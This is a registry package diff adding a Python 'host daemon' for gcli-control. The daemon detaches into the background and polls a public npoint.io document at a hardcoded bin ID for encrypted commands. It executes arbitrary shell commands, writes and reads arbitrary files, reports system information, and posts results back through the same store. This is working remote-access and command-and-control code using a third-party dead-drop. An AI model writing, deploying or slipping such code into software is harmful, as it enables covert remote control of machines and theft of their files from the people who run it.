gcli-control 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
gcli/host.py ADDED
@@ -0,0 +1,215 @@
1
+ """
2
+ gcli host daemon.
3
+ Polls npoint for encrypted commands, executes them, writes encrypted results.
4
+ Runs as a background process (detached).
5
+ """
6
+ import sys
7
+ import time
8
+ import logging
9
+ import base64
10
+ from pathlib import Path
11
+
12
+ from .protocol import (
13
+ read_doc, claim_commands, set_host_alive,
14
+ is_host_alive, init_doc,
15
+ )
16
+ from .utils import (
17
+ write_pid, read_pid, remove_pid, is_running, kill_pid,
18
+ detach, run_command, get_system_info, setup_logging, ensure_dirs,
19
+ )
20
+
21
+ logger = logging.getLogger("gcli.host")
22
+
23
+ DEFAULT_BIN_ID = "599ac3c39189fcc26e5a"
24
+ DEFAULT_POLL = 2.0 # seconds
25
+
26
+
27
+ class Daemon:
28
+ """gcli host daemon — polls for commands and responds."""
29
+
30
+ def __init__(self, password: str, bin_id: str = DEFAULT_BIN_ID,
31
+ poll_interval: float = DEFAULT_POLL):
32
+ self.password = password
33
+ self.bin_id = bin_id
34
+ self.poll_interval = poll_interval
35
+ self.seen_ids: set = set()
36
+ self.running = False
37
+
38
+ def run(self) -> None:
39
+ """Main daemon loop."""
40
+ import signal
41
+ import threading
42
+ ensure_dirs()
43
+ setup_logging(to_file=True)
44
+ write_pid()
45
+ self.running = True
46
+
47
+ logger.info("gcli host daemon starting (bin=%s)", self.bin_id)
48
+
49
+ # Register signal handlers for graceful shutdown (main thread only)
50
+ if threading.current_thread() is threading.main_thread():
51
+ def _shutdown(sig, frame):
52
+ logger.info("Received signal %s, shutting down...", sig)
53
+ self.running = False
54
+ signal.signal(signal.SIGTERM, _shutdown)
55
+ if hasattr(signal, "SIGINT"):
56
+ signal.signal(signal.SIGINT, _shutdown)
57
+
58
+ # Signal we are alive
59
+ try:
60
+ set_host_alive(self.bin_id, True)
61
+ except RuntimeError as e:
62
+ logger.error("Failed to set host_alive: %s", e)
63
+ remove_pid()
64
+ return
65
+
66
+ try:
67
+ while self.running:
68
+ try:
69
+ self._poll_cycle()
70
+ except Exception as e:
71
+ logger.error("Poll cycle error: %s", e)
72
+ time.sleep(self.poll_interval)
73
+ finally:
74
+ try:
75
+ set_host_alive(self.bin_id, False)
76
+ except Exception:
77
+ pass
78
+ remove_pid()
79
+ logger.info("gcli host daemon stopped")
80
+
81
+ def _poll_cycle(self) -> None:
82
+ """One poll: read doc, claim unprocessed commands, execute, respond."""
83
+ doc = read_doc(self.bin_id)
84
+
85
+ # Ensure host_alive flag is set (safe recovery if cleared unexpectedly)
86
+ if not is_host_alive(doc):
87
+ try:
88
+ set_host_alive(self.bin_id, True)
89
+ doc["host_alive"] = True
90
+ except RuntimeError:
91
+ pass # best effort
92
+
93
+ claimed = claim_commands(doc, self.password, self.seen_ids)
94
+ if not claimed:
95
+ return
96
+
97
+ for cmd_id, payload in claimed:
98
+ logger.info("Executing command %s: type=%s", cmd_id, payload.get("type"))
99
+ self._handle_command(cmd_id, payload)
100
+
101
+ def _handle_command(self, cmd_id: str, payload: dict) -> None:
102
+ """Dispatch a single command and write the result."""
103
+ cmd_type = payload.get("type", "")
104
+
105
+ if cmd_type == "exec":
106
+ self._handle_exec(cmd_id, payload)
107
+ elif cmd_type == "upload":
108
+ self._handle_upload(cmd_id, payload)
109
+ elif cmd_type == "download":
110
+ self._handle_download(cmd_id, payload)
111
+ elif cmd_type == "info":
112
+ self._handle_info(cmd_id)
113
+ elif cmd_type == "ping":
114
+ self._handle_ping(cmd_id)
115
+ elif cmd_type == "disconnect":
116
+ self._handle_disconnect(cmd_id)
117
+ else:
118
+ self._respond(cmd_id, {"ok": False, "error": f"Unknown command type: {cmd_type}"})
119
+
120
+ def _handle_exec(self, cmd_id: str, payload: dict) -> None:
121
+ """Execute a shell command."""
122
+ cmd_str = payload.get("cmd", "")
123
+ timeout = payload.get("timeout", 30)
124
+ result = run_command(cmd_str, timeout=timeout)
125
+ logger.info("exec '%s' -> rc=%s, stdout_len=%d", cmd_str, result.get("rc"), len(result.get("stdout", "")))
126
+ self._respond(cmd_id, result)
127
+
128
+ def _handle_upload(self, cmd_id: str, payload: dict) -> None:
129
+ """Receive a file upload (base64-encoded data) and write it."""
130
+ remote_path = payload.get("path", "")
131
+ data_b64 = payload.get("data", "")
132
+ try:
133
+ raw = base64.b64decode(data_b64)
134
+ p = Path(remote_path)
135
+ p.parent.mkdir(parents=True, exist_ok=True)
136
+ p.write_bytes(raw)
137
+ self._respond(cmd_id, {"ok": True, "bytes_written": len(raw), "path": remote_path})
138
+ logger.info("upload -> %s (%d bytes)", remote_path, len(raw))
139
+ except Exception as e:
140
+ self._respond(cmd_id, {"ok": False, "error": str(e)})
141
+
142
+ def _handle_download(self, cmd_id: str, payload: dict) -> None:
143
+ """Read a file and return its base64-encoded content."""
144
+ remote_path = payload.get("path", "")
145
+ try:
146
+ raw = Path(remote_path).read_bytes()
147
+ data_b64 = base64.b64encode(raw).decode("ascii")
148
+ self._respond(cmd_id, {"ok": True, "data": data_b64, "size": len(raw)})
149
+ logger.info("download <- %s (%d bytes)", remote_path, len(raw))
150
+ except Exception as e:
151
+ self._respond(cmd_id, {"ok": False, "error": str(e)})
152
+
153
+ def _handle_info(self, cmd_id: str) -> None:
154
+ """Return system information."""
155
+ info = get_system_info()
156
+ self._respond(cmd_id, {"ok": True, **info})
157
+
158
+ def _handle_ping(self, cmd_id: str) -> None:
159
+ """Respond to a ping."""
160
+ self._respond(cmd_id, {"ok": True, "pong": True, "time": time.time()})
161
+
162
+ def _handle_disconnect(self, cmd_id: str) -> None:
163
+ """Gracefully shut down the daemon."""
164
+ self._respond(cmd_id, {"ok": True, "message": "disconnecting"})
165
+ logger.info("Received disconnect command, shutting down")
166
+ self.running = False
167
+
168
+ def _respond(self, cmd_id: str, payload: dict) -> None:
169
+ """Encrypt and append a result, then write the document."""
170
+ from .protocol import append_result
171
+ append_result(self.bin_id, self.password, cmd_id, payload)
172
+
173
+
174
+ def start_daemon(password: str, bin_id: str = DEFAULT_BIN_ID,
175
+ poll_interval: float = DEFAULT_POLL, foreground: bool = False) -> None:
176
+ """Entry point: optionally detach, then run the daemon."""
177
+ # Check if already running
178
+ existing_pid = read_pid()
179
+ if existing_pid and is_running(existing_pid):
180
+ print(f"gcli host is already running (PID {existing_pid})")
181
+ return
182
+
183
+ daemon = Daemon(password, bin_id, poll_interval)
184
+
185
+ if not foreground:
186
+ # Initialise doc before detaching
187
+ try:
188
+ init_doc(bin_id, password)
189
+ set_host_alive(bin_id, True)
190
+ except RuntimeError as e:
191
+ print(f"Failed to initialise npoint document: {e}")
192
+ return
193
+
194
+ detach()
195
+ # Re-init logging after detach
196
+ setup_logging(to_file=True)
197
+
198
+ daemon.run()
199
+
200
+
201
+ def stop_daemon(bin_id: str = DEFAULT_BIN_ID) -> None:
202
+ """Stop a running daemon by PID file."""
203
+ pid = read_pid()
204
+ if pid and is_running(pid):
205
+ kill_pid(pid)
206
+ remove_pid()
207
+ print(f"Sent SIGTERM to daemon (PID {pid})")
208
+ else:
209
+ print("No running daemon found")
210
+
211
+ # Also mark host as dead
212
+ try:
213
+ set_host_alive(bin_id, False)
214
+ except Exception:
215
+ pass
gcli/npoint.py ADDED
@@ -0,0 +1,60 @@
1
+ """
2
+ Npoint.io API wrapper - simple JSON document store with retry logic.
3
+ GET /api.npoint.io/{id} -> read document
4
+ POST /api.npoint.io/{id} -> overwrite document (entire body)
5
+ """
6
+ import json
7
+ import time
8
+ import urllib.request
9
+ import urllib.error
10
+
11
+ BASE = "https://api.npoint.io"
12
+ MAX_RETRIES = 3
13
+ RETRY_DELAY = 2.0 # seconds between retries
14
+ READ_TIMEOUT = 15
15
+ WRITE_TIMEOUT = 30
16
+ HEADERS = {
17
+ "User-Agent": "gcli/0.1.0",
18
+ }
19
+
20
+
21
+ def read(bin_id: str) -> dict:
22
+ """Read the full JSON document with retries."""
23
+ url = f"{BASE}/{bin_id}"
24
+ last_err = None
25
+ for attempt in range(MAX_RETRIES):
26
+ try:
27
+ req = urllib.request.Request(url, headers=HEADERS)
28
+ with urllib.request.urlopen(req, timeout=READ_TIMEOUT) as resp:
29
+ return json.loads(resp.read())
30
+ except urllib.error.HTTPError as e:
31
+ last_err = RuntimeError(f"npoint read failed: {e.code} {e.reason}")
32
+ except Exception as e:
33
+ last_err = RuntimeError(f"npoint read failed: {e}")
34
+ if attempt < MAX_RETRIES - 1:
35
+ time.sleep(RETRY_DELAY * (attempt + 1))
36
+ raise last_err
37
+
38
+
39
+ def write(bin_id: str, data: dict) -> None:
40
+ """Overwrite the entire document with retries."""
41
+ url = f"{BASE}/{bin_id}"
42
+ body = json.dumps(data, separators=(",", ":")).encode("utf-8")
43
+ last_err = None
44
+ for attempt in range(MAX_RETRIES):
45
+ try:
46
+ req = urllib.request.Request(
47
+ url,
48
+ data=body,
49
+ headers={**HEADERS, "Content-Type": "application/json"},
50
+ method="POST",
51
+ )
52
+ with urllib.request.urlopen(req, timeout=WRITE_TIMEOUT) as resp:
53
+ return
54
+ except urllib.error.HTTPError as e:
55
+ last_err = RuntimeError(f"npoint write failed: {e.code} {e.reason}")
56
+ except Exception as e:
57
+ last_err = RuntimeError(f"npoint write failed: {e}")
58
+ if attempt < MAX_RETRIES - 1:
59
+ time.sleep(RETRY_DELAY * (attempt + 1))
60
+ raise last_err
gcli/protocol.py ADDED
@@ -0,0 +1,246 @@
1
+ """
2
+ Protocol layer for gcli.
3
+ Manages the npoint document structure: init, read, claim, append, trim, write.
4
+ All command/result payloads are encrypted with AES-256-GCM via the crypto module.
5
+
6
+ Race-condition safety: append_command/append_result use a read-modify-write
7
+ cycle with merge-on-conflict. Since npoint has no atomic compare-and-swap,
8
+ we handle concurrent writes by:
9
+ 1. Reading the doc.
10
+ 2. Noting the existing entry IDs.
11
+ 3. Adding our new entry.
12
+ 4. Re-reading the doc to pick up concurrent writes.
13
+ 5. Merging any new entries we didn't add.
14
+ 6. Writing back.
15
+ """
16
+ import uuid
17
+ import time
18
+ import copy
19
+ import logging
20
+ from typing import List, Dict, Optional, Set, Tuple
21
+
22
+ from . import npoint
23
+ from .crypto import encrypt_dict, decrypt_dict
24
+
25
+ logger = logging.getLogger("gcli.protocol")
26
+
27
+ MAX_QUEUE = 50 # max commands/results kept per write
28
+
29
+ EMPTY_DOC = {
30
+ "session": "",
31
+ "host_alive": False,
32
+ "commands": [],
33
+ "results": [],
34
+ }
35
+
36
+
37
+ def new_doc() -> dict:
38
+ """Create a fresh empty document."""
39
+ doc = copy.deepcopy(EMPTY_DOC)
40
+ doc["session"] = str(uuid.uuid4())
41
+ return doc
42
+
43
+
44
+ def init_doc(bin_id: str, password: str) -> str:
45
+ """Write a fresh document to npoint and return the session id."""
46
+ doc = new_doc()
47
+ npoint.write(bin_id, doc)
48
+ return doc["session"]
49
+
50
+
51
+ def read_doc(bin_id: str) -> dict:
52
+ """Read the current document from npoint, normalising structure."""
53
+ try:
54
+ doc = npoint.read(bin_id)
55
+ except RuntimeError:
56
+ doc = copy.deepcopy(EMPTY_DOC)
57
+ # Normalise: ensure required keys and correct types
58
+ if not isinstance(doc, dict):
59
+ doc = copy.deepcopy(EMPTY_DOC)
60
+ for key in ("session", "host_alive", "commands", "results"):
61
+ if key not in doc:
62
+ doc[key] = EMPTY_DOC[key]
63
+ if not isinstance(doc["commands"], list):
64
+ doc["commands"] = []
65
+ if not isinstance(doc["results"], list):
66
+ doc["results"] = []
67
+ return doc
68
+
69
+
70
+ def write_doc(bin_id: str, doc: dict) -> None:
71
+ """Write the document back to npoint (after trimming)."""
72
+ doc = trim(doc)
73
+ npoint.write(bin_id, doc)
74
+
75
+
76
+ def append_command(bin_id: str, password: str, payload: dict) -> str:
77
+ """
78
+ Encrypt and append a command to the document with merge-on-write.
79
+ Returns the command id.
80
+ """
81
+ cmd_id = payload.get("id") or str(uuid.uuid4())
82
+ payload["id"] = cmd_id
83
+ blob = encrypt_dict(payload, password)
84
+
85
+ new_entry = {
86
+ "id": cmd_id,
87
+ "from": "client",
88
+ "ts": time.time(),
89
+ "payload": blob,
90
+ }
91
+
92
+ _safe_append(bin_id, "commands", new_entry)
93
+ return cmd_id
94
+
95
+
96
+ def append_result(bin_id: str, password: str, cmd_id: str, payload: dict) -> str:
97
+ """
98
+ Encrypt and append a result for the given command with merge-on-write.
99
+ Returns the result id.
100
+ """
101
+ res_id = str(uuid.uuid4())
102
+ payload["cmd_id"] = cmd_id
103
+ blob = encrypt_dict(payload, password)
104
+
105
+ new_entry = {
106
+ "id": res_id,
107
+ "cmd_id": cmd_id,
108
+ "from": "host",
109
+ "ts": time.time(),
110
+ "payload": blob,
111
+ }
112
+
113
+ _safe_append(bin_id, "results", new_entry)
114
+ return res_id
115
+
116
+
117
+ def _safe_append(bin_id: str, field: str, new_entry: dict) -> None:
118
+ """
119
+ Read-modify-write with merge. Retries up to 3 times on conflict.
120
+
121
+ Strategy:
122
+ 1. Read doc, note all existing IDs in the target field.
123
+ 2. Append new entry.
124
+ 3. Re-read to pick up any concurrent writes that happened during our write.
125
+ 4. Merge any new entries from the re-read that we missed.
126
+ 5. Write back.
127
+ """
128
+ MAX_ATTEMPTS = 3
129
+ # Step 1: read
130
+ doc = read_doc(bin_id)
131
+ before_ids = {e["id"] for e in doc.get(field, [])}
132
+
133
+ # Step 2: add our entry (avoid duplicate)
134
+ if new_entry["id"] not in before_ids:
135
+ doc.setdefault(field, []).append(new_entry)
136
+
137
+ doc = trim(doc)
138
+
139
+ # Step 3: write
140
+ for attempt in range(MAX_ATTEMPTS):
141
+ try:
142
+ write_doc(bin_id, doc)
143
+ # Step 4: re-read to check for concurrent writes that may have been lost
144
+ doc2 = read_doc(bin_id)
145
+ doc2_ids = {e["id"] for e in doc2.get(field, [])}
146
+ missing = [e for e in doc.get(field, []) if e["id"] not in doc2_ids]
147
+ if missing:
148
+ # Our write was overwritten by a concurrent write - re-merge
149
+ for entry in missing:
150
+ doc2.setdefault(field, []).append(entry)
151
+ # Also merge their new entries we didn't have
152
+ existing = {e["id"] for e in doc2.get(field, [])}
153
+ for entry in doc.get(field, []):
154
+ if entry["id"] not in existing:
155
+ doc2.setdefault(field, []).append(entry)
156
+ # Carry over other fields
157
+ for key in ("session", "host_alive"):
158
+ if key in doc:
159
+ doc2[key] = doc[key]
160
+ doc2 = trim(doc)
161
+ write_doc(bin_id, doc2)
162
+ return
163
+ except RuntimeError as e:
164
+ logger.debug("Write failed on attempt %d: %s", attempt + 1, e)
165
+ if attempt < MAX_ATTEMPTS - 1:
166
+ time.sleep(1.0 * (attempt + 1))
167
+ doc = read_doc(bin_id)
168
+ if new_entry["id"] not in {e["id"] for e in doc.get(field, [])}:
169
+ doc.setdefault(field, []).append(new_entry)
170
+ doc = trim(doc)
171
+
172
+
173
+ def claim_commands(doc: dict, password: str, seen: Set[str]) -> List[Tuple[str, dict]]:
174
+ """
175
+ Return list of (cmd_id, decrypted_payload) for commands not yet in `seen`.
176
+ Also adds their IDs to `seen` in-place.
177
+ """
178
+ claimed = []
179
+ for entry in doc.get("commands", []):
180
+ cmd_id = entry.get("id", "")
181
+ if cmd_id in seen:
182
+ continue
183
+ seen.add(cmd_id)
184
+ try:
185
+ payload = decrypt_dict(entry["payload"], password)
186
+ claimed.append((cmd_id, payload))
187
+ except Exception:
188
+ # bad encryption or wrong password -- skip
189
+ continue
190
+ return claimed
191
+
192
+
193
+ def claim_results(doc: dict, password: str, target_cmd_id: str, seen: Set[str]) -> Optional[dict]:
194
+ """
195
+ Look for a result matching target_cmd_id that we haven't seen yet.
196
+ Returns the decrypted payload or None.
197
+ """
198
+ for entry in doc.get("results", []):
199
+ res_id = entry.get("id", "")
200
+ if res_id in seen:
201
+ continue
202
+ try:
203
+ payload = decrypt_dict(entry["payload"], password)
204
+ except Exception:
205
+ seen.add(res_id)
206
+ continue
207
+ if payload.get("cmd_id") == target_cmd_id:
208
+ seen.add(res_id)
209
+ return payload
210
+ return None
211
+
212
+
213
+ def claim_all_results(doc: dict, password: str, seen: Set[str]) -> List[dict]:
214
+ """Return all un-seen decrypted results."""
215
+ results = []
216
+ for entry in doc.get("results", []):
217
+ res_id = entry.get("id", "")
218
+ if res_id in seen:
219
+ continue
220
+ seen.add(res_id)
221
+ try:
222
+ payload = decrypt_dict(entry["payload"], password)
223
+ results.append(payload)
224
+ except Exception:
225
+ continue
226
+ return results
227
+
228
+
229
+ def trim(doc: dict) -> dict:
230
+ """Cap commands and results to MAX_QUEUE entries each (keep most recent)."""
231
+ if len(doc.get("commands", [])) > MAX_QUEUE:
232
+ doc["commands"] = doc["commands"][-MAX_QUEUE:]
233
+ if len(doc.get("results", [])) > MAX_QUEUE:
234
+ doc["results"] = doc["results"][-MAX_QUEUE:]
235
+ return doc
236
+
237
+
238
+ def set_host_alive(bin_id: str, alive: bool) -> None:
239
+ """Set the host_alive flag in the document safely."""
240
+ doc = read_doc(bin_id)
241
+ doc["host_alive"] = alive
242
+ write_doc(bin_id, doc)
243
+
244
+
245
+ def is_host_alive(doc: dict) -> bool:
246
+ return bool(doc.get("host_alive", False))